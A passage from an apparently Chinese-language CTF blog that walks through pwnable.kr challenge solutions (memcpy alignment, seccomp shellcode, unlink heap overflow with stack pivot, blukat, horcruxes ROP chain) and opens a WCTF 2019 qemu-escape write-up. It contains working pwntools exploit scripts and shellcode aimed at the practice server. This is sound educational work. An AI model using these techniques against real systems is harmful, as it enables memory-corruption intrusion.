<span class="n">p</span><span class="p">.</span><span class="n">interactive</span><span class="p">()</span>
</code></pre></div></div>
<h2>memcpy</h2>
<p>此题目考察汇编基础。看似为普通的编程题目,在实际运行进入<code class="language-plaintext highlighter-rouge">fast_memcpy</code>函数的逻辑中在调用<code class="language-plaintext highlighter-rouge">movntps</code>指令会报错,搜索可知目的地址需要16字节或32字节对齐。同时注意到原程序使用<code class="language-plaintext highlighter-rouge">gcc -m32</code>编译为32位程序,但其具体的运行环境还是比较迷,探索后得出目标环境第1次<code class="language-plaintext highlighter-rouge">malloc</code>后的<code class="language-plaintext highlighter-rouge">mem</code>为16字节对齐的地址,而且<code class="language-plaintext highlighter-rouge">MALLOC_ALIGNMENT</code>为8。我们同时需要注意到libc决定分配大小的过程:</p>
<div class="language-c highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="cm">/* pad request bytes into a usable size -- internal version */</span>
<span class="cp">#define request2size(req) \
(((req) + SIZE_SZ + MALLOC_ALIGN_MASK < MINSIZE) ? \
MINSIZE : \
((req) + SIZE_SZ + MALLOC_ALIGN_MASK) & ~MALLOC_ALIGN_MASK)
</span>
<span class="cm">/* Same, except also perform argument check */</span>
<span class="cp">#define checked_request2size(req, sz) \
if (REQUEST_OUT_OF_RANGE (req)) { \
__set_errno (ENOMEM); \
return 0; \
} \
(sz) = request2size (req);
</span>
</code></pre></div></div>
<p>所以我们调整一下使分配的chunk size为16字节的倍数,即可满足目的地址对齐的要求,具体代码如下:</p>
<div class="language-python highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="kn">from</span> <span class="nn">pwn</span> <span class="kn">import</span> <span class="o">*</span>
<span class="n">context</span><span class="p">.</span><span class="n">log_level</span> <span class="o">=</span> <span class="s">'debug'</span>
<span class="c1"># gcc -o memcpy memcpy.c -m32 -lm
</span><span class="n">chunk_header</span> <span class="o">=</span> <span class="mi">4</span>
<span class="n">r</span> <span class="o">=</span> <span class="n">remote</span><span class="p">(</span><span class="s">'pwnable.kr'</span><span class="p">,</span> <span class="mi">9022</span><span class="p">)</span>
<span class="c1">#r = process('./memcpy')
#gdb.attach(r)
</span>
<span class="k">for</span> <span class="n">i</span> <span class="ow">in</span> <span class="nb">xrange</span><span class="p">(</span><span class="mi">3</span><span class="p">,</span> <span class="mi">13</span><span class="p">):</span>
<span class="n">r</span><span class="p">.</span><span class="n">recvuntil</span><span class="p">(</span><span class="s">' : '</span><span class="p">)</span>
<span class="n">n</span> <span class="o">=</span> <span class="mi">2</span><span class="o">**</span><span class="p">(</span><span class="n">i</span><span class="o">+</span><span class="mi">1</span><span class="p">)</span> <span class="o">-</span> <span class="n">chunk_header</span>
<span class="c1">#n = 2**i
</span> <span class="n">r</span><span class="p">.</span><span class="n">sendline</span><span class="p">(</span><span class="nb">str</span><span class="p">(</span><span class="n">n</span><span class="p">))</span>
<span class="n">r</span><span class="p">.</span><span class="n">recvuntil</span><span class="p">(</span><span class="s">'experiment!</span><span class="se">\n</span><span class="s">'</span><span class="p">)</span>
<span class="k">print</span> <span class="n">r</span><span class="p">.</span><span class="n">recvline</span><span class="p">()</span>
</code></pre></div></div>
<p>但当我在ubuntu 18.04 x64平台上编译代码调试运行后发现,<code class="language-plaintext highlighter-rouge">n = 2**i</code>分配的chunk还是16字节对齐的:</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>//malloc(16)
gef➤ heap chunk 0x57ec0180
Chunk(addr=0x57ec0180, size=0x20, flags=PREV_INUSE)
Chunk size: 32 (0x20)
Usable size: 28 (0x1c)
Previous chunk size: 0 (0x0)
PREV_INUSE flag: On
IS_MMAPPED flag: Off
NON_MAIN_ARENA flag: Off
</code></pre></div></div>
<p>结合<code class="language-plaintext highlighter-rouge">/usr/lib/debug/lib/i386-linux-gnu/libc-2.27.so</code>的<a href="https://stackoverflow.com/questions/10000335/how-to-use-debug-version-of-libc">debug信息</a>,反汇编libc的<code class="language-plaintext highlighter-rouge">_int_malloc</code>函数,发现这里确实是以16字节对齐来确定size的,稍微有些让本地测试的人有些迷惑哦:</p>
<div class="language-c highlighter-rouge"><div class="highlight"><pre class="highlight"><code> <span class="k">if</span> <span class="p">(</span> <span class="n">a2</span> <span class="o">+</span> <span class="mi">19</span> <span class="o"><=</span> <span class="mh">0xF</span> <span class="p">)</span>
<span class="p">{</span>
<span class="n">v3</span> <span class="o">=</span> <span class="mi">0</span><span class="p">;</span>
<span class="n">v2</span> <span class="o">=</span> <span class="mi">16</span><span class="p">;</span>
<span class="p">}</span>
<span class="k">else</span>
<span class="p">{</span>
<span class="n">v3</span> <span class="o">=</span> <span class="p">(</span><span class="n">a2</span> <span class="o">+</span> <span class="mi">19</span><span class="p">)</span> <span class="o">&</span> <span class="mh">0xFFFFFFF0</span><span class="p">;</span>
<span class="n">v2</span> <span class="o">=</span> <span class="n">v3</span><span class="p">;</span>
<span class="n">LOBYTE</span><span class="p">(</span><span class="n">v3</span><span class="p">)</span> <span class="o">=</span> <span class="n">v3</span> <span class="o">></span> <span class="mh">0xFFFFFFDF</span><span class="p">;</span>
</code></pre></div></div>
<p>而在ubuntu 14.04 x86的平台上编译运行时,<code class="language-plaintext highlighter-rouge">mem</code>地址和<code class="language-plaintext highlighter-rouge">MALLOC_ALIGNMENT</code>均为8字节对齐,所以在处理<code class="language-plaintext highlighter-rouge">8 16 32 64 ...</code>这样的序列时就会报错:</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>//malloc(32)
gef➤ heap chunk 0x0804c030
Chunk(addr=0x804c030, size=0x28, flags=PREV_INUSE)
Chunk size: 40 (0x28)
Usable size: 36 (0x24)
Previous chunk size: 0 (0x0)
PREV_INUSE flag: On
IS_MMAPPED flag: Off
NON_MAIN_ARENA flag: Off
</code></pre></div></div>
<h2>asm</h2>
<p>此题目考察汇编知识。借助<a href="https://veritas501.space/2018/05/05/seccomp%E5%AD%A6%E4%B9%A0%E7%AC%94%E8%AE%B0/">seccomp</a>限制我们只能使用<code class="language-plaintext highlighter-rouge">open</code>、<code class="language-plaintext highlighter-rouge">read</code>、<code class="language-plaintext highlighter-rouge">write</code>、<code class="language-plaintext highlighter-rouge">exit</code>、<code class="language-plaintext highlighter-rouge">exit_group</code>这几个系统调用,来完成读取flag文件的shellcode操作。捷径的方法是借用<code class="language-plaintext highlighter-rouge">pwnlib.shellcraft</code><a href="https://pwntools.readthedocs.io/en/stable/shellcraft.html#module-pwnlib.shellcraft">构造</a>shellcode,其使用的思路在手工构造时还是很值得借鉴的,比如文档例子中的对要读取的文件名做<a href="https://pwntools.readthedocs.io/en/stable/shellcraft/amd64.html#pwnlib.shellcraft.amd64.linux.syscall">异或处理</a>,以及使用寄存器作为参数构造<a href="https://pwntools.readthedocs.io/en/stable/shellcraft/amd64.html#pwnlib.shellcraft.amd64.itoa">连续的</a>系统调用。解题的构造脚本如下:</p>
<div class="language-python highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="kn">from</span> <span class="nn">pwn</span> <span class="kn">import</span> <span class="o">*</span>
<span class="n">context</span><span class="p">.</span><span class="n">arch</span> <span class="o">=</span> <span class="s">'amd64'</span>
<span class="n">context</span><span class="p">.</span><span class="n">log_level</span> <span class="o">=</span> <span class="s">'debug'</span>
<span class="n">r</span> <span class="o">=</span> <span class="n">remote</span><span class="p">(</span><span class="s">'pwnable.kr'</span><span class="p">,</span> <span class="mi">9026</span><span class="p">)</span>
<span class="n">r</span><span class="p">.</span><span class="n">recvuntil</span><span class="p">(</span><span class="s">'shellcode: '</span><span class="p">)</span>
<span class="n">sc</span> <span class="o">=</span> <span class="n">shellcraft</span><span class="p">.</span><span class="nb">open</span><span class="p">(</span><span class="s">'this_is_pwnable.kr_flag_file_please_read_this_file.sorry_the_file_name_is_very_loooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooo0000000000000000000000000ooooooooooooooooooooooo000000000000o0o0o0o0o0o0ong'</span><span class="p">)</span>
<span class="n">sc</span> <span class="o">+=</span> <span class="n">shellcraft</span><span class="p">.</span><span class="n">read</span><span class="p">(</span><span class="s">'rax'</span><span class="p">,</span> <span class="s">'rsp'</span><span class="p">,</span> <span class="mi">32</span><span class="p">)</span>
<span class="n">sc</span> <span class="o">+=</span> <span class="n">shellcraft</span><span class="p">.</span><span class="n">write</span><span class="p">(</span><span class="mi">1</span><span class="p">,</span> <span class="s">'rsp'</span><span class="p">,</span> <span class="mi">32</span><span class="p">)</span>
<span class="n">r</span><span class="p">.</span><span class="n">sendline</span><span class="p">(</span><span class="n">asm</span><span class="p">(</span><span class="n">sc</span><span class="p">))</span>
<span class="k">print</span> <span class="n">r</span><span class="p">.</span><span class="n">recvline</span><span class="p">()</span>
</code></pre></div></div>
<h2>unlink</h2>
<p>此题目是通过堆溢出unlink后达到任意地址写的效果。因为现在的堆机制对unlink的过程有较多<a href="https://sploitfun.wordpress.com/2015/02/26/heap-overflow-using-unlink/">安全校验</a>,所以此题目虚拟了一个双向链表对象解链的操作:</p>
<div class="language-c highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="cp">#include <stdio.h>
#include <stdlib.h>
#include <string.h>
</span><span class="k">typedef</span> <span class="k">struct</span> <span class="n">tagOBJ</span><span class="p">{</span>
<span class="k">struct</span> <span class="n">tagOBJ</span><span class="o">*</span> <span class="n">fd</span><span class="p">;</span>
<span class="k">struct</span> <span class="n">tagOBJ</span><span class="o">*</span> <span class="n">bk</span><span class="p">;</span>
<span class="kt">char</span> <span class="n">buf</span><span class="p">[</span><span class="mi">8</span><span class="p">];</span>
<span class="p">}</span><span class="n">OBJ</span><span class="p">;</span>
<span class="kt">void</span> <span class="nf">shell</span><span class="p">(){</span>
<span class="n">system</span><span class="p">(</span><span class="s">"/bin/sh"</span><span class="p">);</span>
<span class="p">}</span>
<span class="kt">void</span> <span class="nf">unlink</span><span class="p">(</span><span class="n">OBJ</span><span class="o">*</span> <span class="n">P</span><span class="p">){</span>
<span class="n">OBJ</span><span class="o">*</span> <span class="n">BK</span><span class="p">;</span>
<span class="n">OBJ</span><span class="o">*</span> <span class="n">FD</span><span class="p">;</span>
<span class="n">BK</span><span class="o">=</span><span class="n">P</span><span class="o">-></span><span class="n">bk</span><span class="p">;</span>
<span class="n">FD</span><span class="o">=</span><span class="n">P</span><span class="o">-></span><span class="n">fd</span><span class="p">;</span>
<span class="n">FD</span><span class="o">-></span><span class="n">bk</span><span class="o">=</span><span class="n">BK</span><span class="p">;</span>
<span class="n">BK</span><span class="o">-></span><span class="n">fd</span><span class="o">=</span><span class="n">FD</span><span class="p">;</span>
<span class="p">}</span>
<span class="kt">int</span> <span class="nf">main</span><span class="p">(</span><span class="kt">int</span> <span class="n">argc</span><span class="p">,</span> <span class="kt">char</span><span class="o">*</span> <span class="n">argv</span><span class="p">[]){</span>
<span class="n">malloc</span><span class="p">(</span><span class="mi">1024</span><span class="p">);</span>
<span class="n">OBJ</span><span class="o">*</span> <span class="n">A</span> <span class="o">=</span> <span class="p">(</span><span class="n">OBJ</span><span class="o">*</span><span class="p">)</span><span class="n">malloc</span><span class="p">(</span><span class="k">sizeof</span><span class="p">(</span><span class="n">OBJ</span><span class="p">));</span>
<span class="n">OBJ</span><span class="o">*</span> <span class="n">B</span> <span class="o">=</span> <span class="p">(</span><span class="n">OBJ</span><span class="o">*</span><span class="p">)</span><span class="n">malloc</span><span class="p">(</span><span class="k">sizeof</span><span class="p">(</span><span class="n">OBJ</span><span class="p">));</span>
<span class="n">OBJ</span><span class="o">*</span> <span class="n">C</span> <span class="o">=</span> <span class="p">(</span><span class="n">OBJ</span><span class="o">*</span><span class="p">)</span><span class="n">malloc</span><span class="p">(</span><span class="k">sizeof</span><span class="p">(</span><span class="n">OBJ</span><span class="p">));</span>
<span class="c1">// double linked list: A <-> B <-> C</span>
<span class="n">A</span><span class="o">-></span><span class="n">fd</span> <span class="o">=</span> <span class="n">B</span><span class="p">;</span>
<span class="n">B</span><span class="o">-></span><span class="n">bk</span> <span class="o">=</span> <span class="n">A</span><span class="p">;</span>
<span class="n">B</span><span class="o">-></span><span class="n">fd</span> <span class="o">=</span> <span class="n">C</span><span class="p">;</span>
<span class="n">C</span><span class="o">-></span><span class="n">bk</span> <span class="o">=</span> <span class="n">B</span><span class="p">;</span>
<span class="n">printf</span><span class="p">(</span><span class="s">"here is stack address leak: %p</span><span class="se">\n</span><span class="s">"</span><span class="p">,</span> <span class="o">&</span><span class="n">A</span><span class="p">);</span>
<span class="n">printf</span><span class="p">(</span><span class="s">"here is heap address leak: %p</span><span class="se">\n</span><span class="s">"</span><span class="p">,</span> <span class="n">A</span><span class="p">);</span>
<span class="n">printf</span><span class="p">(</span><span class="s">"now that you have leaks, get shell!</span><span class="se">\n</span><span class="s">"</span><span class="p">);</span>
<span class="c1">// heap overflow!</span>
<span class="n">gets</span><span class="p">(</span><span class="n">A</span><span class="o">-></span><span class="n">buf</span><span class="p">);</span>
<span class="c1">// exploit this unlink!</span>
<span class="n">unlink</span><span class="p">(</span><span class="n">B</span><span class="p">);</span>
<span class="k">return</span> <span class="mi">0</span><span class="p">;</span>
<span class="p">}</span>
</code></pre></div></div>
<p>题目中存在明显的堆溢出,又主动泄露出了堆栈地址,首先会有2个思路:</p>
<ol>
<li>将B对象的fd和bk分别覆盖为<code class="language-plaintext highlighter-rouge">main</code>函数栈上保存的返回地址和<code class="language-plaintext highlighter-rouge">shell</code>函数地址,但unlink过程中需要两个地址是可写的。</li>
<li>两个可写地址就覆盖为返回地址和堆地址,但程序开启了NX,无法在程序返回时跳转至堆执行我们的shellcode。</li>
</ol>
<p>程序看似无解,但从反汇编的角度上还是看出了猫腻,在<code class="language-plaintext highlighter-rouge">main</code>函数结尾处存在不合常规的汇编指令,取栈上的内容再赋值给esp,相当于是帮我们做了一次栈迁移哇:</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>.text:080485EC sub esp, 0Ch
.text:080485EF push [ebp+var_C]
.text:080485F2 call unlink
.text:080485F7 add esp, 10h
.text:080485FA mov eax, 0
.text:080485FF mov ecx, [ebp+var_4]
.text:08048602 leave
.text:08048603 lea esp, [ecx-4]
.text:08048606 retn
.text:08048606 ; } // starts at 804852F
.text:08048606 main
</code></pre></div></div>
<p>这样事情就好办了,在栈上对应处写入内容可控的堆地址,函数返回前触发栈迁移至堆地址,最终<code class="language-plaintext highlighter-rouge">ret</code>至<code class="language-plaintext highlighter-rouge">shell</code>函数即可,利用脚本如下:</p>
<div class="language-python highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="kn">from</span> <span class="nn">pwn</span> <span class="kn">import</span> <span class="o">*</span>
<span class="n">context</span><span class="p">.</span><span class="n">log_level</span> <span class="o">=</span> <span class="s">'debug'</span>
<span class="n">p</span> <span class="o">=</span> <span class="n">process</span><span class="p">(</span><span class="s">'./unlink'</span><span class="p">)</span>
<span class="n">p</span><span class="p">.</span><span class="n">recvuntil</span><span class="p">(</span><span class="s">'leak: '</span><span class="p">)</span>
<span class="n">stack_addr</span> <span class="o">=</span> <span class="nb">int</span><span class="p">(</span><span class="n">p</span><span class="p">.</span><span class="n">recvline</span><span class="p">(</span><span class="bp">False</span><span class="p">),</span> <span class="mi">16</span><span class="p">)</span>
<span class="n">p</span><span class="p">.</span><span class="n">recvuntil</span><span class="p">(</span><span class="s">'leak: '</span><span class="p">)</span>
<span class="n">heap_addr</span> <span class="o">=</span> <span class="nb">int</span><span class="p">(</span><span class="n">p</span><span class="p">.</span><span class="n">recvline</span><span class="p">(</span><span class="bp">False</span><span class="p">),</span> <span class="mi">16</span><span class="p">)</span>
<span class="n">p</span><span class="p">.</span><span class="n">recvline</span><span class="p">()</span>
<span class="c1">#gdb.attach(p)
</span><span class="n">payload</span> <span class="o">=</span> <span class="s">''</span>
<span class="n">payload</span> <span class="o">+=</span> <span class="n">p32</span><span class="p">(</span><span class="mh">0x080484EB</span><span class="p">)</span>
<span class="n">payload</span> <span class="o">+=</span> <span class="n">p32</span><span class="p">(</span><span class="mh">0x90909090</span><span class="p">)</span> <span class="o">*</span> <span class="mi">3</span>
<span class="n">payload</span> <span class="o">+=</span> <span class="n">p32</span><span class="p">(</span><span class="n">heap_addr</span><span class="o">+</span><span class="mh">0xc</span><span class="p">)</span>
<span class="n">payload</span> <span class="o">+=</span> <span class="n">p32</span><span class="p">(</span><span class="n">stack_addr</span><span class="o">+</span><span class="mh">0x10</span><span class="p">)</span>
<span class="n">p</span><span class="p">.</span><span class="n">sendline</span><span class="p">(</span><span class="n">payload</span><span class="p">)</span>
<span class="n">p</span><span class="p">.</span><span class="n">interactive</span><span class="p">()</span>
</code></pre></div></div>
<p>目标平台上还有个<code class="language-plaintext highlighter-rouge">intended.py</code>,把unlink函数中栈上保存的前栈帧ebp值写为堆地址,在<code class="language-plaintext highlighter-rouge">main</code>函数结尾处栈迁移同样返回至<code class="language-plaintext highlighter-rouge">shell</code>函数,思路相同就是理解上有些麻烦:</p>
<div class="language-python highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="kn">from</span> <span class="nn">pwn</span> <span class="kn">import</span> <span class="o">*</span>
<span class="n">context</span><span class="p">.</span><span class="n">arch</span> <span class="o">=</span> <span class="s">'i386'</span> <span class="c1"># i386 / arm
</span><span class="n">r</span> <span class="o">=</span> <span class="n">process</span><span class="p">([</span><span class="s">'/home/unlink/unlink'</span><span class="p">])</span>
<span class="n">leak</span> <span class="o">=</span> <span class="n">r</span><span class="p">.</span><span class="n">recvuntil</span><span class="p">(</span><span class="s">'shell!</span><span class="se">\n</span><span class="s">'</span><span class="p">)</span>
<span class="n">stack</span> <span class="o">=</span> <span class="nb">int</span><span class="p">(</span><span class="n">leak</span><span class="p">.</span><span class="n">split</span><span class="p">(</span><span class="s">'leak: 0x'</span><span class="p">)[</span><span class="mi">1</span><span class="p">][:</span><span class="mi">8</span><span class="p">],</span> <span class="mi">16</span><span class="p">)</span>
<span class="n">heap</span> <span class="o">=</span> <span class="nb">int</span><span class="p">(</span><span class="n">leak</span><span class="p">.</span><span class="n">split</span><span class="p">(</span><span class="s">'leak: 0x'</span><span class="p">)[</span><span class="mi">2</span><span class="p">][:</span><span class="mi">8</span><span class="p">],</span> <span class="mi">16</span><span class="p">)</span>
<span class="n">shell</span> <span class="o">=</span> <span class="mh">0x80484eb</span>
<span class="n">payload</span> <span class="o">=</span> <span class="n">pack</span><span class="p">(</span><span class="n">shell</span><span class="p">)</span> <span class="c1"># heap + 8 (new ret addr)
</span><span class="n">payload</span> <span class="o">+=</span> <span class="n">pack</span><span class="p">(</span><span class="n">heap</span> <span class="o">+</span> <span class="mi">12</span><span class="p">)</span> <span class="c1"># heap + 12 (this -4 becomes ESP at ret)
</span><span class="n">payload</span> <span class="o">+=</span> <span class="s">'3333'</span> <span class="c1"># heap + 16
</span><span class="n">payload</span> <span class="o">+=</span> <span class="s">'4444'</span>
<span class="n">payload</span> <span class="o">+=</span> <span class="n">pack</span><span class="p">(</span><span class="n">stack</span> <span class="o">-</span> <span class="mh">0x20</span><span class="p">)</span> <span class="c1"># eax. (address of old ebp of unlink) -4
</span><span class="n">payload</span> <span class="o">+=</span> <span class="n">pack</span><span class="p">(</span><span class="n">heap</span> <span class="o">+</span> <span class="mi">16</span><span class="p">)</span> <span class="c1"># edx.
</span><span class="n">r</span><span class="p">.</span><span class="n">sendline</span><span class="p">(</span> <span class="n">payload</span> <span class="p">)</span>
<span class="n">r</span><span class="p">.</span><span class="n">interactive</span><span class="p">()</span>
</code></pre></div></div>
<h2>blukat</h2>
<p>这道题目考察的是编程错误或者说是运维错误,但我个人觉得出得不够好,故意把password文件的内容弄成<code class="language-plaintext highlighter-rouge">cat</code>命令的报错,但本质上还是具有可读权限的:</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>blukat@prowl:~$ ls -al
total 36
drwxr-x--- 4 root blukat 4096 Aug 16 2018 .
drwxr-xr-x 114 root root 4096 May 19 15:59 ..
dr-xr-xr-x 2 root root 4096 Aug 16 2018 .irssi
drwxr-xr-x 2 root root 4096 Aug 16 2018 .pwntools-cache
-r-xr-sr-x 1 root blukat_pwn 9144 Aug 8 2018 blukat
-rw-r--r-- 1 root root 645 Aug 8 2018 blukat.c
-rw-r----- 1 root blukat_pwn 33 Jan 6 2017 password
blukat@prowl:~$ id
uid=1104(blukat) gid=1104(blukat) groups=1104(blukat),1105(blukat_pwn)
blukat@prowl:~$ head password
cat: password: Permission denied
</code></pre></div></div>
<p>把脑洞的坑绕过后,最终的flag计算就很简单了:</p>
<div class="language-python highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="n">password</span> <span class="o">=</span> <span class="s">'cat: password: Permission denied</span><span class="se">\n</span><span class="s">'</span>
<span class="n">key</span> <span class="o">=</span> <span class="s">'3</span><span class="se">\r</span><span class="s">G[S/%</span><span class="se">\x1c\x1d</span><span class="s">#0?</span><span class="se">\r</span><span class="s">IS</span><span class="se">\x0f\x1c\x1d\x18</span><span class="s">;,4</span><span class="se">\x1b\x00\x1b</span><span class="s">p;5</span><span class="se">\x0b\x1b\x08\x45</span><span class="s">+'</span>
<span class="n">flag</span> <span class="o">=</span> <span class="s">''</span>
<span class="k">for</span> <span class="n">i</span> <span class="ow">in</span> <span class="nb">xrange</span><span class="p">(</span><span class="mi">33</span><span class="p">):</span>
<span class="n">flag</span> <span class="o">+=</span> <span class="nb">chr</span><span class="p">(</span><span class="nb">ord</span><span class="p">(</span><span class="n">password</span><span class="p">[</span><span class="n">i</span><span class="p">])</span><span class="o">^</span><span class="nb">ord</span><span class="p">(</span><span class="n">key</span><span class="p">[</span><span class="n">i</span><span class="p">]))</span>
</code></pre></div></div>
<h2>horcruxes</h2>
<p>此题目是漏洞利用构造ROP链的练习,逆向可知存在明显的溢出问题:</p>
<div class="language-c highlighter-rouge"><div class="highlight"><pre class="highlight"><code> <span class="k">else</span>
<span class="p">{</span>
<span class="n">printf</span><span class="p">(</span><span class="s">"How many EXP did you earned? : "</span><span class="p">);</span>
<span class="n">gets</span><span class="p">(</span><span class="n">s</span><span class="p">);</span>
<span class="k">if</span> <span class="p">(</span> <span class="n">atoi</span><span class="p">(</span><span class="n">s</span><span class="p">)</span> <span class="o">==</span> <span class="n">sum</span> <span class="p">)</span>
<span class="p">{</span>
<span class="n">fd</span> <span class="o">=</span> <span class="n">open</span><span class="p">(</span><span class="s">"flag"</span><span class="p">,</span> <span class="mi">0</span><span class="p">);</span>
<span class="n">s</span><span class="p">[</span><span class="n">read</span><span class="p">(</span><span class="n">fd</span><span class="p">,</span> <span class="n">s</span><span class="p">,</span> <span class="mh">0x64u</span><span class="p">)]</span> <span class="o">=</span> <span class="mi">0</span><span class="p">;</span>
<span class="n">puts</span><span class="p">(</span><span class="n">s</span><span class="p">);</span>
<span class="n">close</span><span class="p">(</span><span class="n">fd</span><span class="p">);</span>
<span class="n">exit</span><span class="p">(</span><span class="mi">0</span><span class="p">);</span>
<span class="p">}</span>
<span class="n">puts</span><span class="p">(</span><span class="s">"You'd better get more experience to kill Voldemort"</span><span class="p">);</span>
<span class="p">}</span>
</code></pre></div></div>
<p>使用<code class="language-plaintext highlighter-rouge">gets</code>函数接收输入,<code class="language-plaintext highlighter-rouge">0x0a</code>也就成了badchar,造成许多代码段的地址无法使用,剩下的也无法构造常见的ROP绕过NX保护:</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>$ ROPgadget --badbytes "0a" --only "pop|ret" --binary horcruxes
Gadgets information
============================================================
0x0809fc0d : pop ebx ; ret
0x0809f73a : ret
0x0809fdce : ret 0xeac1
Unique gadgets found: 3
</code></pre></div></div>
<p>最终的思路就是跳转至程序正常逻辑,其地址没有<code class="language-plaintext highlighter-rouge">0x0a</code>,间接泄露7个数值相加后即可通过校验,但在进入<code class="language-plaintext highlighter-rouge">atoi</code>函数中需要注意其在转换超过<code class="language-plaintext highlighter-rouge">int</code>范围的数时会产生<a href="http://www.cplusplus.com/reference/cstdlib/atoi/">未定义</a>的行为,可使用<a href="https://docs.python.org/2/library/ctypes.html">ctypes</a>进行数据类型的转换,利用脚本如下:</p>
<div class="language-python highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="kn">from</span> <span class="nn">ctypes</span> <span class="kn">import</span> <span class="n">c_int</span>
<span class="kn">from</span> <span class="nn">pwn</span> <span class="kn">import</span> <span class="o">*</span>
<span class="n">context</span><span class="p">.</span><span class="n">arch</span> <span class="o">=</span> <span class="s">'i386'</span>
<span class="n">context</span><span class="p">.</span><span class="n">log_level</span> <span class="o">=</span> <span class="s">'debug'</span>
<span class="c1">#p = process('/home/horcruxes/horcruxes')
</span><span class="n">r</span> <span class="o">=</span> <span class="n">remote</span><span class="p">(</span><span class="s">'pwnable.kr'</span><span class="p">,</span> <span class="mi">9032</span><span class="p">)</span>
<span class="n">padding</span> <span class="o">=</span> <span class="s">'A'</span> <span class="o">*</span> <span class="mh">0x78</span>
<span class="n">A</span> <span class="o">=</span> <span class="mh">0x0809FE4B</span>
<span class="n">B</span> <span class="o">=</span> <span class="mh">0x0809FE6A</span>
<span class="n">C</span> <span class="o">=</span> <span class="mh">0x0809FE89</span>
<span class="n">D</span> <span class="o">=</span> <span class="mh">0x0809FEA8</span>
<span class="n">E</span> <span class="o">=</span> <span class="mh">0x0809FEC7</span>
<span class="n">F</span> <span class="o">=</span> <span class="mh">0x0809FEE6</span>
<span class="n">G</span> <span class="o">=</span> <span class="mh">0x0809FF05</span>
<span class="n">ropme</span> <span class="o">=</span> <span class="mh">0x0809FFFC</span>
<span class="n">stage1</span> <span class="o">=</span> <span class="n">flat</span><span class="p">(</span><span class="n">padding</span><span class="p">,</span> <span class="n">A</span><span class="p">,</span> <span class="n">B</span><span class="p">,</span> <span class="n">C</span><span class="p">,</span> <span class="n">D</span><span class="p">,</span> <span class="n">E</span><span class="p">,</span> <span class="n">F</span><span class="p">,</span> <span class="n">G</span><span class="p">,</span> <span class="n">ropme</span><span class="p">,</span><span class="n">endianness</span><span class="o">=</span><span class="s">'little'</span><span class="p">,</span> <span class="n">word_size</span><span class="o">=</span><span class="mi">32</span><span class="p">,</span> <span class="n">sign</span><span class="o">=</span><span class="bp">False</span><span class="p">)</span>
<span class="n">r</span><span class="p">.</span><span class="n">recvuntil</span><span class="p">(</span><span class="s">'Menu:'</span><span class="p">)</span>
<span class="n">r</span><span class="p">.</span><span class="n">sendline</span><span class="p">(</span><span class="s">'1'</span><span class="p">)</span>
<span class="n">r</span><span class="p">.</span><span class="n">recvuntil</span><span class="p">(</span><span class="s">'earned? : '</span><span class="p">)</span>
<span class="n">r</span><span class="p">.</span><span class="n">sendline</span><span class="p">(</span><span class="n">stage1</span><span class="p">)</span>
<span class="n">s</span> <span class="o">=</span> <span class="mi">0</span>
<span class="k">for</span> <span class="n">i</span> <span class="ow">in</span> <span class="nb">xrange</span><span class="p">(</span><span class="mi">7</span><span class="p">):</span>
<span class="n">r</span><span class="p">.</span><span class="n">recvuntil</span><span class="p">(</span><span class="s">'EXP +'</span><span class="p">)</span>
<span class="n">s</span> <span class="o">+=</span> <span class="nb">int</span><span class="p">(</span><span class="n">r</span><span class="p">.</span><span class="n">recvline</span><span class="p">()[:</span><span class="o">-</span><span class="mi">2</span><span class="p">])</span>
<span class="c1">#s &= 0xffffffff
</span>
<span class="n">s</span> <span class="o">=</span> <span class="n">c_int</span><span class="p">(</span><span class="n">s</span><span class="p">).</span><span class="n">value</span>
<span class="n">r</span><span class="p">.</span><span class="n">recvuntil</span><span class="p">(</span><span class="s">'Menu:'</span><span class="p">)</span>
<span class="n">r</span><span class="p">.</span><span class="n">sendline</span><span class="p">(</span><span class="s">'1'</span><span class="p">)</span>
<span class="n">r</span><span class="p">.</span><span class="n">recvuntil</span><span class="p">(</span><span class="s">'earned? : '</span><span class="p">)</span>
<span class="n">r</span><span class="p">.</span><span class="n">sendline</span><span class="p">(</span><span class="nb">str</span><span class="p">(</span><span class="n">s</span><span class="p">))</span>
<span class="k">print</span> <span class="n">r</span><span class="p">.</span><span class="n">recvline</span><span class="p">()</span>
</code></pre></div></div>
<h1>0x02 总结</h1>
<p>这次篮球世界杯中国队恐怕只有易建联才过得安心,其他年轻球员的表现只能让评论员说是浪费了三年的光阴。战士上战场,老是混,就等着死吧。希望能坚持下去,做得多,这样可以看得多,自然想得多,可惜就是犯了贪念啊。</p>
Larryxi
0x00 背景 和leecode一样,感觉未来PWN选手基础的发展趋势,就是问你有没有刷过pwnable.kr和pwnable.tw系列哇。算是巩固一下基础吧,把pwnable.kr的Toddler's Bottle部分做完了,遂形成此篇记录博客。篇幅所限,原始题目内容和运行环境以及开启的安全机制,大多省略或提及关键部分,着重记录了解题思路和利用脚本。
WCTF 2019 VirtualHole Write Up
2019-07-22T00:00:00+00:00
2019-07-22T00:00:00+00:00
https://larryxi.github.io/2019/07/22/wctf-2019-virtualhole-write-up
<h1>0x00 环境搭建</h1>
<p>VirtualHole是WCTF2019线下赛一道关于qemu虚拟机逃逸的题目,也是一个<a href="httpss://www.tuicool.com/articles/MzqYbia">qemu漏洞挖掘</a>的入门机会。作者给出了修改后的megasas.c及安装好的虚拟机镜像文件,无疑是要搭建针对qemu的调试环境。</p>
<!-- more -->
<p>宿主机的环境选择为Ubuntu 16.04,其上的libc版本的堆分配机制还没用到<a href="httpss://azeria-labs.com/heap-exploitation-part-2-glibc-heap-free-bins/">tcache</a>机制,方便我们利用前期堆块的布局构造。而我是在VMWare上搭建的Ubuntu,需要开启虚拟机的嵌套虚拟化选项:</p>
<p><img src="https://wx4.sinaimg.cn/large/ee2fecafly1g5a5f8l8iej20kd08a3yy.jpg" alt="" /></p>
